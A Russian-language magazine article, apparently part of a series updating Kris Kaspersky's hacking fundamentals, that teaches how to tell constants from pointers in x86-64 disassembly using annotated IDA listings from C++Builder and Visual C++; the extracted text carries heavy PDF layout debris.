Пятнадцать­ лет назад эпичес­ ­кий труд Криса­ Каспер­ ­ски «Фундамен­ ­таль­ные основы­ хакерства­ » был настоль­ ­ной книгой­ каждого­ начинающе­ ­го исследова­ ­ теля в области компьютер­ ­ной безопасности­ . Однако­ время­ идет, и знания­ , опубликован­ ­ные Крисом­ , теряют­ актуаль­ ­ность. Редакторы­ «Хакера» попыта ­ лись обновить­ этот объемный­ труд и перенести­ его из времен­ Windows 2000 и Visual Studio 6.0 во времена­ Windows 10 и Visual Studio 2019.

Ссылки­ на другие­ статьи из этого­ цикла­ ищи на странице­ автора­ .

ИДЕНТИФИКАЦИЯ КОНСТАНТ И СМЕЩЕНИЙ

Микропро­ ­цес­соры серии 80x86 поддержи­ ­вают операн­ ­ды трех типов: регистр, непосредс­ ­твен­ное значение­ , непосредс­ ­твен­ный указатель­ . Тип операн­ ­да явно задается­ в специаль­ ­ном поле машинной­ инструк­ ­ции, именуемом­ mod, поэтому­ никаких проблем­ в идентифика­ ­ции типов операн­ ­дов не возника­ ­ет. Регистр — ну, все мы знаем­ , как выглядят­ регистры­ ; указатель­ по общепри ­ нятому­ соглашению­ заключа­ ­ется в квадратные­ скобки­ , а непосредс­ ­твен­ное значение­ записывает­ ­ся без них. Например­ :

MOV ECX, EAX;

← регистровые операнды

MOV

ECX, 0x666;

левый

операнд

регистровый, правый —

непосредственный

 

 

 

 

MOV

[0x401020], EAX;

левый

операнд

— указатель, правый —

регистр

 

 

 

 

Кроме­ этого­ , микропро­ цес­ соры­ серии 80x86 поддержи­ вают­ два вида адре ­ сации памяти: непос­ редс­ твен­ ную­ и косвенную­ . Тип адресации­ определя­ ется­ типом указате­ ля­ . Если операнд­ — непосредс­ твен­ ный­ указатель­ , то и адре ­ сация непосредс­ твен­ на­ . Если же операнд­ указатель­ — регистр, то такая адресация­ называется­ косвенной­ . Например­ :

MOV

ECX,[0x401020]

непосредственная адресация

MOV

ECX, [EAX]

косвенная адресация

Для инициали­ зации­ регистро­ вого­ указате­ ля­ разработ­ чики­ микропро­ цес­ сора­ ввели­ специаль­ ную­ команду­ , вычисляющую­ значение­ адресного­ выражения­ addr и присваивающую­ его регистру­ REG, — LEA REG, [addr]. Например­ :

LEA

EAX,

[0x401020] ; Регистру EAX присваивается

значение

указателя

0x401020

 

 

 

 

 

MOV

ECX,

[EAX]

;

Косвенная адресация — загрузка в ECX двойного

слова,

 

 

 

 

 

 

 

 

;

расположенного по смещению

0x401020

 

Правый­ операнд­ команды­ LEA всегда­ представ­ ляет­ собой ближний­ (near) ука ­ затель (исключение­ составля­ ют­ случаи­ использования­ LEA для сложения­ кон ­ стант — подробнее­ об этом см. в одноимен­ ном­ пункте­ ). И все было бы хорошо... да вот, оказыва­ ется­ , внутреннее­ представ­ ление­ ближнего­ указате­ ­ ля эквивален­ тно­ констан­ те­ того же значения­ . Отсюда­ LEA EAX, [0x401020] равносиль­ но­ MOV EAX, 0x401020. В силу определен­ ных­ причин­ MOV зна ­ чительно­ обогнал­ в популярности­ LEA, практичес­ ки­ вытеснив­ последнюю­ инс ­ трукцию­ из употребле­ ния­ .

Отказ­ от LEA породил фундамен­ таль­ ную­ проблему­ ассембли­ рова­ ния­ — проблему­ OFFSET’a. В общих чертах­ ее суть заключа­ ется­ в синтакси­ чес­ кой­ неразличимос­ ти­ констант­ и смещений­ (ближних­ указате­ лей­ ). Конструк­ ция­ MOV EAX, 0x401020 может грузить­ в EAX и констан­ ту­ , равную­ 0x401020 (пример­ соответс­ тву­ юще­ го­ C-кода: a=0x401020), и указатель­ на ячейку­ памяти, рас ­ положенную­ по смещению­ 0x401020 (пример­ соответс­ тву­ юще­ го­ C-кода: a=&x). Согласись­ , a=0x401020 совсем­ не одно и то же, что a=&x! А теперь представь­ , что произой­ дет­ , если в повторно­ ассембли­ рован­ ной­ программе­ переменная­ х окажет­ ся­ расположе­ на­ по иному­ смещению­ , а не 0x401020? Правиль­ но­ — программа­ рухнет­ , ибо указатель­ a по прежнему­ указыва­ ет­ на ячейку­ памяти 0x401020, но здесь теперь «прожива­ ет­ » совсем­ другая­ переменная­ !

Почему­ переменная­ может изменить­ свое смещение­ ? Основных причин­ тому две. Во первых­ , язык ассембле­ ­ра неоднозна­ ­чен и допускает­ двоякую­ интерпре­ ­тацию. Например­ , конструк­ ­ции ADD EAX, 0x66 соответс­ ­тву­ют две машинные­ инструк­ ­ции: 83 C0 66 и 05 66 00 00 00 длиной­ три и пять байт соответс­ ­твен­но. Трансля­ ­тор может выбрать­ любую из них, и не факт, что ту же самую, которая была в исходной программе­ (до дизассем­ ­бли­рова­ния). Неверно­ «угадан­ ­ный» размер­ вызовет смещение­ всех остальных­ инструк­ ­ций, а вместе­ с ними и данных­ . Во вторых­ , смещение­ не замедлит­ вызвать­ модификацию­ программы­ (разумеется­ , речь идет не о замене JZ на JNZ, а о настоящей­ адаптации­ или модернизации­ ), и все указате­ ­ли тут же «посып ­ лются».

Вернуть­ работоспособ­ ность­ программы­ помогает­ директива­ offset. Если MOV EAX, 0x401020 действи­ тель­ но­ загружа­ ет­ в EAX указатель­ , а не констан­ ­ ту, по смещению­ 0x401020 следует­ создать­ метку­ , именуемую­ , скажем­ , loc_401020. Также­ нужно­ MOV EAX, 0x401020 заменить на MOV EAX, offset loc_401020. Теперь указатель­ EAX связан­ не с фиксирован­ ным­ смещени­ ем­ ,

ас меткой­ !

Ачто произой­ ­дет, если предварить­ директивой­ offset констан­ ­ту, ошибоч­ ­

но приняв­ ее за указатель­ ? Программа­ откажет­ или станет­ работать некор ­ ректно­ . Допустим­ , число­ 0x401020 выражало­ собой объем­ бассей­ на­ , в который вода втекает­ через одну трубу­ , а вытекает­ через другую­ . Если заменить констан­ ту­ указате­ лем­ , то объем­ бассей­ на­ станет­ равен... сме ­ щению метки­ в заново ассембли­ рован­ ной­ программе­ и все расчеты­ полетят к черту­ .

Таким­ образом­ , очень важно­ определить­ типы всех непосредс­ твен­ ных­ операн­ дов­ , и еще важнее­ определить­ их правиль­ но­ . Одна ошибка­ может сто ­ ить программе­ жизни­ (в смысле­ работоспособ­ ности­ ), а в типичной­ прог ­ рамме тысячи и десятки­ тысяч операн­ дов­ !

Отсюда­ возника­ ­ет два вопроса­ :

Как вообще­ определя­ ­ют типы операн­ ­дов?

Можно­ ли их определять­ автомати­ ­чес­ки (или на худой конец хотя бы полу ­ автомати­ ­чес­ки)?

Типы­ операн­ дов­

Определение типа непосредственного операнда

Непос­ редс­ твен­ ный­ операнд­ команды­ LEA всегда­ указатель­ (исключение­ сос ­ тавляют­ ассемблер­ ные­ «извращения­ »: чтобы­ сбить хакеров с толку­ , в некото ­ рых защитах LEA используют­ ся­ для загрузки­ констан­ ты­ ).

Непос­ ­редс­твен­ные операн­ ­ды команд MOV и PUSH могут быть как констан­ ­ тами, так и указате­ ­лями. Чтобы­ определить­ тип непосредс­ ­твен­ного операн­ ­да, необходимо­ проана­ ­лизи­ровать, как использует­ ­ся его значение­ в программе­ . Для косвенной­ адресации­ памяти — это указатель­ , в против­ ­ном случае­ — констан­ ­та.

Например­ , мы встретили­ в тексте­ программы­ команду­ MOV EAX, 0x401020. Что это такое: констан­ та­ или указатель­ ?

Типы­ адресаций­

Ответ­ на вопрос­ дает строка­ MOV ECX, [EAX], подска­ зыва­ ющая­ , что зна ­ чение 0x401020 использует­ ся­ для косвенной­ адресации­ памяти. Следова­ ­ тельно­ , непосредс­ твен­ ный­ операнд­ не что иное, как указатель­ .

Сущес­ тву­ ет­ два типа указате­ лей­ — указате­ ли­ на данные­ и указате­ ли­ на функцию­ . Указате­ ли­ на данные­ используют­ ся­ для извлечения­ значения­ ячейки­ памяти и встречают­ ся­ в арифметичес­ ких­ командах­ и командах­ пересылки­ (например­ , MOV, ADD, SUB). Указате­ ли­ на функцию­ используют­ ся­ в командах­ косвенно­ го­ вызова и реже в командах­ косвенно­ го­ перехода­ — CALL и JMP соответс­ твен­ но­ .

Следующий­ пример­ (const_pointers_cb) откомпилируй­ с помощью C++Builder. В нем мы изучим­ разницу­ между­ констан­ ­тами и указате­ ­лями:

int _tmain(int argc, _TCHAR* argv[])

{

static int a = 0x777;

int* b = &a;

int c = b[0];

}

Резуль­ тат­ компиляции­ должен­ выглядеть­ приблизитель­ но­ так:

main

proc near

var_1C

= dword ptr -1Ch

var_18

= qword ptr -18h

var_10

= qword ptr -10h

var_8

= dword ptr -8

var_4

= dword ptr -4

; Открытие кадра стека

 

 

push

rbp

;

Выделение 0x20 байт для

локальных переменных

 

sub

rsp,

20h

;

Кадр стека указывает на

дно стека

 

lea

rbp,

[rsp+20h]

Название­ смещения­ unk_451110 говорит о том, что значение­ по адресу­ 451110 имеет­ неопределен­ ­ный тип.

Перей­ ­дем по нему и посмотрим­ , что там находится­ .

Так как число­ 0x777 не умещает­ ся­ в одном байте­ , компилятор­ разместил­ его в двух байтах­ . Следова­ тель­ но­ , в RAX помещается­ ссылка­ на это число­ .

lea

rax, unk_451110

Хотя­ IDA предста­ ­вила данные­ программы­ так, как их пригото­ ­вил компилятор­ , мы уже самостоятель­ ­но определи­ ­ли, что по смещению­ unk_451110 находится­ число­ , занимающее­ больше­ одного­ байта­ . Поэтому­ мы можем помочь IDA правиль­ ­но отобразить­ данные­ . Для этого­ , перейдя­ по смещению­ , надо нажать клавишу­ с английской­ o, что соответс­ ­тву­ет команде­ : Edit → Operand Type → Ofset → Ofset (data segment). В результате­ смещение­ будет переиме­ ­

новано­ , а значение­ , на которое оно указыва­ ­ет, примет­ благород­ ­ный вид: 777h. Кроме­ того, команда­ преобра­ ­зова­ния неопределен­ ­ных байтов­ в дан ­ ные с db (один байт) изменит­ ­ся на dq (восемь байт).

Инициали­ зация­ локальных­ переменных­ :

mov

[rbp+var_4],

0

mov

[rbp+var_8],

ecx

mov

[rbp+var_10], rdx

В RAX расположе­

на­ ссылка­ на значение­

, она копируется­

в переменную­

var_18. Посколь­

ку­ значение­

по ссылке­ unk_451110 находится­ в сегменте­

данных­ , можно­ сделать­

вывод, что var_18 — статичес­

кая­ переменная­ .

mov

[rbp+var_18], rax

 

 

 

 

 

 

 

 

 

 

 

 

 

Копиру­ ем­ ссылку­ на переменную­ в памяти и таким образом­ получаем­ воз ­ можность изменить­ ссылку­ , но не значение­ .

mov rax, [rbp+var_18]

Загружа­

ем­ содержимое­

локальной­ переменной­ var_18 в регистр ECX. Отсю ­

да можно­ сделать­

вывод, что в RAX все таки указатель­

. Тогда­ локальная­

переменная­ var_18 тоже указатель­

!

 

 

mov

ecx, [rax]

 

 

 

 

 

 

 

 

 

 

 

 

Присваиваем­ локальной­ переменной­ var_1C значение­ , содержаще­ ­еся в ECX. А там хранит­ ­ся указатель­ на 0x777.

 

mov

[rbp+var_1C], ecx

 

mov

[rbp+var_4], 0

 

; Функция возвращает ноль

 

mov

eax, [rbp+var_4]

; Очищаем стек

 

 

 

add

rsp, 20h

; Закрываем кадр стека

 

 

pop

rbp

 

retn

 

main

endp

 

Черт ногу сломит­ с этими­ указате­ ­лями! Теперь рассмот­ ­рим пример­ func_pointers_cb с косвенным­ вызовом функции­ (также­ скомпилиро­ ­ван­ный с помощью C++Builder):

int func(int a, int b)

{

return a + b;

}

int _tmain(int argc, _TCHAR* argv[])

{

int (*zzz) (int a, int b) = func;

// Вызов функции происходит косвенно — по указателю zzz

zzz(0x666, 0x777);

return 0;

}

Резуль­ тат­ компиляции­ должен­ выглядеть­ приблизитель­ но­ так:

main

proc near

var_1C

= dword

ptr -1Ch

var_18

= qword

ptr -18h

var_10

= qword

ptr -10h

var_8

= dword

ptr -8

var_4

= dword

ptr -4

; Открываем кадр стека

 

 

push

rbp

; Выделяем 0x40

под локальные переменные

 

sub

rsp, 40h

; Указатель кадра стека

 

 

lea

rbp, [rsp+40h]

; В EAX заносим

значение 0x666, пока непонятно для чего, но явно не

для передачи

 

 

 

mov

eax, 666h

; В R8D заносим

значение 0x777

 

mov

r8d, 777h

; Смотри! В R9 заносим указатель на функцию

 

lea

r9, func(int,int)

; Инициализируем локальные переменные

 

mov

[rbp+var_4], 0

 

mov

[rbp+var_8], ecx

 

mov

[rbp+var_10], rdx

; В var_18 помещаем указатель на функцию func

 

mov

[rbp+var_18], r9

; Теперь ECX равна 0x666

 

 

mov

ecx, eax

; а EDX — 0x777, регистры загружены и готовы для передачи параметров

 

mov

edx, r8d

; Погляди-ка! Косвенный

вызов функции!

 

call

[rbp+var_18]

 

mov

[rbp+var_4], 0

 

mov

[rbp+var_1C], eax

 

mov

eax, [rbp+var_4]

; Очищаем стек

 

 

 

add

rsp, 40h

; Восстанавливаем регистр

 

pop

rbp

 

retn

 

main

endp

 

А вот и косвенно­ вызываемая­ функция­ func. Исследуем­ ее, чтобы­ определить­ тип передаваемых­ ей непосредс­ твен­ ных­ значений­ .

func(int, int)

proc near

var_C

= dword ptr -0Ch

var_8

=

dword

ptr -8

var_4

=

dword

ptr -4

IDA не определи­ ла­ аргумен­ ты­ , но мы то знаем­ , что они есть! Сейчас­ , когда­ параметры­ всегда­ передаются­ через регистры­ , различие­ между­ аргумен­ тами­ и локальными­ переменными­ — чистая­ формаль­ ность­ .

; Открываем кадр стека

 

push

rbp

;

Выделяем память для содержимого стека

 

sub

rsp, 10h

;

Кадр стека указывает на дно стека

 

lea

rbp, [rsp+10h]

Присваиваем­ значение­ переменной­ var_4, учитывая­ , что в регистре­ ECX передается­ параметр, var_4 — аргумент­ :

mov

[rbp+var_4], ecx

Присваиваем­ значение­ переменной­ var_8, учитывая­ , что в регистре­ EDX передается­ параметр, var_8 — аргумент­ :

mov

[rbp+var_8], edx

 

; В ECX размещаем первое слагаемое

mov

ecx, [rbp+var_4]

; Выполняем сложение с переменной, записывая сумму на место первого

слагаемого

add ecx, [rbp+var_8]

; Значение суммы копируем в переменную var_C

mov

[rbp+var_C], ecx

; В качестве результата

возвращаем сумму

mov

eax, [rbp+var_C]

; Удаляем содержимое стека

add

rsp, 10h

; Закрываем кадр стека

 

pop

rbp

retn

 

func(int, int) endp

 

Сложные случаи адресации или математические операции с указателями

C/C++ и некоторые­ другие­ языки­ программи­ ­рова­ния допускают­ выполнение­

над указате­ лями­ различных­ арифметичес­ ких­ операций­ , чем серьезно­ зат ­ рудняют­ идентифика­ цию­ типов непосредс­ твен­ ных­ операн­ дов­ . В самом деле, если бы такие операции­ с указате­ лями­ были запрещены­ , то любая матема ­ тическая­ инструк­ ция­ , манипулиру­ ющая­ с непосредс­ твен­ ным­ операн­ дом­ , однозначно­ указыва­ ла­ бы на его константный­ тип.

К счастью, даже в тех языках­ , где это разрешено­ , над указате­ ­лями выпол ­ няется­ ограничен­ ­ное число­ математичес­ ­ких операций­ . Так, совершенно­ бес ­ смысленно­ сложение­ двух указате­ ­лей, а уж тем более умножение­ или деление их друг на друга­ . Вычитание­ — дело другое­ . Используя­ тот факт,

что компилятор­ располага­ ет­ функции­ в памяти согласно­ порядку­ их объявле­ ­ ния в программе­ , можно­ вычислить­ размер­ функции­ , отнимая­ ее указатель­ от указате­ ля­ на следующую­ функцию­ . Такой трюк встречает­ ся­ в упаков­ щиках­

(распаков­ ­щиках) исполняемых­ файлов­ , защитах с самомодифи­ ­циру­ющим­ся кодом, но в прикладных­ программах­ использует­ ­ся редко­ .

Исполь­ зование­ вычитания­ указате­ лей­ для вычисления­ размера­ функции­ (структуры­ данных­ )

Продолжение статьи0

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

 

0НАЧАЛО СТАТЬИw Click

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

c

 

 

 

.c

 

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

КАК ИСКАТЬ ОПЕРАНДЫ ПРИ ВЗЛОМЕ ПРОГРАММ

Сказан­ ное­

 

выше относилось­

к случаям­

«указатель­

+ указатель­

». Между­ тем

указатель­

может сочетаться­ и с констан­

той­ . Причем­ такое сочетание­ настоль­ ­

ко популярно­ , что процес­ соры­

серии 80x86 даже поддержи­

вают­

для этого­

специаль­

ную­

адресацию­

базовую­

. Пусть, к примеру­

, имеется­

указатель­

на массив­ и индекс некоторого­

элемен­ та­ массива­

. Очевид­ но­ : чтобы­ получить

значение­

 

этого­ элемен­ та­ , необходимо­

сложить­

указатель­

с индексом, умно ­

женным­

на размер­

элемен­ та­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Вычита­ ние­ констан­

ты­ из указате­ ля­ встречает­ ся­ гораздо­ реже: этому­ соот ­

ветству­ ет­ меньший­

круг задач, и сами программис­

ты­

избегают­

вычитания­ ,

посколь­

ку­ оно нередко­ приводит­

к серьезным­

проблемам­

. Среди­ новичков­

популярен­

 

следующий­

прием­ : если им требует­

ся­ массив­ , начинающий­

ся­

с единицы­

, они, объявив­

 

обычный­

массив­ , получают­ на него указатель­

и...

уменьшают­

его на единицу­

! Элеган­ тно­ , не правда­ ли?

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Но подумай, что произой­

дет­ , если указатель­

на массив­ будет равен нулю.

Правиль­

но­ , змея укусит­

свой хвост — указатель­

 

станет­

очень большим­

положитель­ ным­

числом­ . Вообще­ то под Windows NT массив­ гарантирован­

но­

не может быть размещен­

по нулевому­ смещению­

, но не стоит­ привыкать­

к трюкам­ , привязан­

ным­

к одной платформе­

и не работающим­

на других­ .

 

 

 

«Нормаль­

ные­ » языки­

программи­

рова­

ния­

запреща­

ют­ смешение­

типов,

и правиль­

но­ делают­ . Существу­ ет­ и еще одна фундамен­

таль­ ная­

 

проблема­

дизассем­ бли­ рова­

ния­

 

определе­

ние­

типов в комбиниро­

ван­ ных­

выражениях­

. Рассмот­

рим­

следующий­

пример­ :

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

MOV EAX, 0x...

MOV EBX, 0x...

ADD EAX, EBX

MOV ECX, [EAX]

Сумма­ двух непосредс­ твен­ ных­ значений­ здесь использует­ ся­ для косвенной­ адресации­ . Ну, положим, оба они указате­ лями­ быть не могут, исходя­ из самых общих соображений­ . Наверняка­ одно из непосредс­ твен­ ных­ значений­ — ука ­ затель на массив­ (структуру­ данных­ , объект­ ), а другое­ — индекс в этом мас ­ сиве. Для сохранения­ работоспособ­ ности­ программы­ указатель­ необходимо­ заменить смещени­ ем­ метки­ , а вот индекс придет­ ся­ оставить­ без изменений­ (ведь индекс — это констан­ та­ ).

Как же различить­ , что есть что? Увы, нет универ­ саль­ ного­ ответа­ , а в кон ­ тексте­ приведен­ ного­ выше примера­ это и вовсе­ невозможно­ !

Рассмот­ ­рим следующий­ пример­ , демонстри­ ­рующий определе­ ­ние типов в комбиниро­ ­ван­ных выражениях­ (combined_exp_types):

void MyFunc(char* a, int i)

{

a[i] = '\n';

a[i + 1] = 0;

}

int main()

{

static char buff[] = "Hello,Sailor!";

MyFunc(&buff[0], 5);

}

Резуль­ тат­ компиляции­ с помощью Microsoft Visual C++ должен­ выглядеть­ так:

main

proc near

 

; Выделение памяти для локальных

переменных

 

sub

rsp, 28h

 

; Определяем смещение — указатель на элемент в массиве

 

mov

eax, 1

 

 

imul

rax, 0

 

; В регистр RCX загружаем указатель на строку

 

lea

rcx, buff

; "Hello, Sailor!"

 

add

rcx, rax

 

; Указатель на строку копируется

в RAX

 

mov

rax, rcx

 

;Подготовка параметров:

;в регистр EDX помещается число 5 — второй параметр

 

mov

 

 

edx,

5

 

 

; i

 

 

 

 

 

 

 

; указатель на строку вновь копируется в RCX — первый параметр

 

 

 

mov

 

 

rcx,

rax

 

 

; a

 

 

 

 

 

 

 

; Параметры укомплектованы —

вызываем функцию

 

 

 

 

 

 

 

call

 

 

MyFunc(char *,int)

 

 

 

 

 

 

 

; Функция возвращает ноль

 

 

 

 

 

 

 

 

 

 

 

 

 

 

xor

 

 

eax,

eax

 

 

 

 

 

 

 

 

 

 

 

; Очистка стека

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

add

 

 

rsp,

28h

 

 

 

 

 

 

 

 

 

 

 

 

retn

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

main

endp

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Мы можем с полной­

уверен­ ностью­

сказать­

, где какой параметр, только­

в наших искусствен­

ных­ примерах­

. При изучении­

чужих программок­

такой уве ­

ренности­

, к сожалению­ , не будет. Поэтому­ , рассмат­

ривая­

параметры­ в фун ­

кции ниже, мы, по идее, должны­

видеть их как два числовых­

аргумен­ та­ .

И наша задача разобрать­

ся­ , представ­

ляют­

ли они констан­

ты­ или указате­

ли­ .

void MyFunc(char *, int) proc near

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

; Два параметра — все верно

 

 

 

 

 

 

 

 

 

 

 

 

 

arg_0

= qword

ptr

8

 

 

 

 

 

 

 

 

 

 

 

arg_8

= dword

ptr

10h

 

 

 

 

 

 

 

 

 

 

 

; Перенос значений параметров из регистров в память

 

 

 

 

 

 

mov

 

 

[rsp+arg_8], edx ; Число 5

 

 

 

 

 

 

mov

 

 

[rsp+arg_0], rcx ; Указатель на строку

 

 

; Копирование двойного слова

со знаком в четверное

 

 

 

 

 

 

movsxd

 

rax,

[rsp+arg_8]

 

 

 

 

 

 

 

 

; Копирование четверного слова в четверное

 

 

 

 

 

 

 

 

mov

 

 

rcx,

[rsp+arg_0]

 

 

 

 

 

 

 

 

Сумма­ непосредс­ твен­ ных­ значений­ использует­ ся­ для косвенной­ адресации­ памяти, значит­ , это констан­ та­ и указатель­ . Но кто есть кто?

mov

byte ptr [rcx+rax], 0Ah

Для ответа­ на этот вопрос­ нам необходимо­ понять смысл кода программы­ — чего же добивался­ программист­ сложени­ ем­ указате­ лей­ ? Предположим­ , что значение­ 5 — указатель­ . Логично­ ? Да вот не очень то логично­ : если это ука ­ затель, то указатель­ на что?

Первые­ 64 килобайта­ адресного­ пространс­ тва­ Windows NT заблокиро­ ваны­ для «отлавливания­ » нулевых и неинициали­ зиро­ ван­ ных­ указате­ лей­ . Ясно, что

равным­ пяти указатель­ быть никак не может, разве­ что программист­ исполь ­ зовал какой нибудь очень извращен­ ­ный трюк. А если указатель­ 0x140003038 (фактичес­ ­кий адрес buff)? Выглядит­ правдоподоб­ ­ным легальным­ смещени­ ­

ем...

Кстати­ , что там у нас расположе­ ­но? Секундочку­ ...

.data:0000000140003038 buff

db 'Hello, Sailor!',00

Теперь­ все сходит­ ся­ — функции­ передан указатель­ на строку­ "Hello, Sailor!" (значение­ 0x140003038) и индекс символа­ этой строки­ (значение­ 5). Функция­ сложила­ указатель­ со строкой­ и записала­ в полученную­ ячейку­ символ­ "\n".

Следующая­ инструк­ ция­ заносит значение­ аргумен­ та­ arg_8 в регистр EAX. Как мы установи­ ли­ , это констан­ та­ :

mov

eax, [rsp+arg_8]

 

 

; Инкрементируем значение в

EAX на 1

inc

eax

 

; Преобразуем двойное слово

(значение в EAX) в четверное слово (

значение в RAX)

 

 

cdqe

 

 

;Помещаем в RCX значение аргумента arg_0

;Как мы выяснили, оно представляет собой указатель на строку

mov

rcx, [rsp+arg_0]

Сумма­ RCX и RAX использует­ ся­ для косвенной­ адресации­ памяти, точнее­ кос ­ венно базовой, так как к указате­ лю­ прибав­ ляет­ ся­ еще и единица­ . В эту ячейку­ памяти заносится­ ноль. Другими­ словами­ , мы прописы­ ваем­ ноль за сим ­ волом "\n".

mov

byte ptr [rcx+rax], 0

retn

 

void MyFunc(char *, int) endp

Наши­

предположе­

ния­

подтвер­

дились­

— функции­

передаются­

указатель­

на строку­ и индекс первого­

«отсекаемо­

го­ » символа­

строки­ . А теперь ском ­

пилируем­ тот же

самый

пример­

компилято­

ром­

Embarcadero

C++Builder

и сравним­ , чем он отличает­

ся­ от Microsoft Visual C++:

 

 

; int __cdecl main(int argc, const char **argv, const char **envp)

public main

main

proc near

; DATA XREF: __acrtused+29↑o

var_10

= qword

ptr -10h

 

var_8

= dword

ptr -8

 

var_4

= dword

ptr -4

 

; Открытие кадра стека

 

 

 

push

 

rbp

 

; Выделение 0х30 байт памяти для локальных переменных

 

sub

 

rsp, 30h

 

; Копирование в

RBP

указателя на дно стека, ибо после вычитания

получилась вершина,

 

 

 

; а после сложения — дно

 

 

 

lea

 

rbp, [rsp+30h]

 

; В RAX — указатель

на строку

 

 

lea

 

rax, aHelloSailor ; "Hello, Sailor!"

; В R8D — значение 5

 

 

 

 

mov

 

r8d, 5

 

; Инициализация

локальных переменных...

 

 

mov

 

[rbp+var_4], 0

 

; ...перебрасываем содержимое регистров в память

 

mov

 

[rbp+var_8], ecx

 

 

mov

 

[rbp+var_10], rdx

; Готовим параметры

для

передачи:

 

; в RCX копируем указатель на строку...

 

 

mov

 

rcx, rax

 

; ...в EDX — значение 5

 

 

 

mov

 

edx, r8d

 

; Вызов функции

вместе с передачей параметров

 

call

 

MyFunc(char *,int)

 

mov

 

[rbp+var_4], 0

 

; Обнуляем EAX для возвращения нуля

 

 

mov

 

eax, [rbp+var_4]

 

; Очищаем стек

 

 

 

 

 

add

 

rsp, 30h

 

; Закрываем кадр стека

 

 

 

pop

 

rbp

 

 

retn

 

 

 

main

endp

 

 

 

 

 

; __int64 __fastcall MyFunc(char *, int)

 

 

public MyFunc(char *, int)

MyFunc(char *, int)

proc near

; CODE XREF: main+2B↓p

var_C

= dword

ptr -0Ch

 

var_8

= qword

ptr -8

 

; Открытие кадра стека

 

 

 

push

 

rbp

 

; Выделение памяти

 

 

 

 

sub

 

rsp, 10h

 

; Указатель кадра стека

 

 

 

lea

 

rbp, [rsp+10h]

 

; Принятые параметры размещаем в локальных переменных

 

mov

 

[rbp+var_8], rcx

 

 

mov

 

[rbp+var_C], edx

 

; Первый параметр возвращаем в RCX

 

 

mov

 

rcx, [rbp+var_8]

 

; Копирование двойного слова со знаком в четверное

 

movsxd

rax, [rbp+var_C]

 

Сумма­ непосредс­ ­твен­ных значений­ использует­ ­ся для косвенной­ адресации­ памяти. Этот прием­ мы уже проходи­ ­ли, разбирая­ дизассем­ ­блер­ный листинг­

от Visual C++. Однако­ вопрос­ все тот же: как понять, где констан­ ­та, а где ука ­ затель? Как и в предыду­ ­щем случае­ , необходимо­ проана­ ­лизи­ровать их зна ­ чения.

mov

byte ptr [rcx+rax], 0Ah

; Копирование значений из локальных переменных в регистры

mov

rax,

[rbp+var_8]

mov

edx,

[rbp+var_C]

;

Увеличение var_C на 1, а Visual C++ в этом месте использовал

инструкцию inc

 

 

 

add

edx,

1

;

Копирование двойного слова

со знаком в четверное

 

movsxd

rcx,

edx

; Снова косвенная адресация памяти, чтобы поставить после символа

новой строки "\n" 0

mov

byte ptr [rax+rcx], 0

; Восстановление стека

 

add

rsp, 10h

; Закрытие кадра стека

 

pop

rbp

retn

 

MyFunc(char *, int) endp

По сравнению­ с листингом­ от Visual C++ листинг­ от C++Builder имеет­ минимальные­ различия­ . Раньше­ было не так... Даже не знаю, радоваться­ это ­ му или огорчать­ ­ся.

Порядок индексов и указателей

Открою­ маленький­ секрет­ : при сложении­ указате­ ­ля с констан­ ­той большинс­ ­ тво компилято­ ­ров на первое­ место­ помещают­ указатель­ , а на второе­ — кон ­ станту­ , каким бы ни было их расположе­ ­ние в исходной программе­ . Иначе­ говоря, выражения­ a[i], (a+i)[0], *(a+i) и *(i+a) компилиру­ ­ются в один и тот же код! Даже если извратить­ ­ся и написать так: (0)[i+a], компилятор­

все равно­ выдвинет­ a на первое­ место­ . Что это — ослиное­ упрямство­ , игра случая­ или фича? Ответ до смешного­ прост — сложение­ указате­ ля­ с констан­ ­ той дает указатель­ ! Поэтому­ результат­ вычислений­ всегда­ записывает­ ся­ в переменную­ типа «указатель­ ».

Вернемся­ к последне­ ­му рассмот­ ­ренно­му примеру­ (combined_exp_types_cb), применив­ для анализа­ наше новое правило­ :

; Копирование значений из локальных переменных в регистры

mov

rax,

[rbp+var_8]

; В RAX теперь указатель на

строку

 

 

 

mov

edx,

[rbp+var_C]

 

;

Увеличение var_C на 1, а там (следовательно, теперь в регистре)

значение 5

 

 

 

add

edx,

1

;

Копирование двойного слова

со знаком в четверное

 

movsxd

rcx,

edx ; теперь значение 6 в RCX

Сложение­ RAX и RCX. Операция­ сложения­ указыва­ ет­ на то, что по крайней­ мере один из них констан­ та­ , а другой­ — либо констан­ та­ , либо указатель­ .

mov

byte ptr [rax+rcx], 0
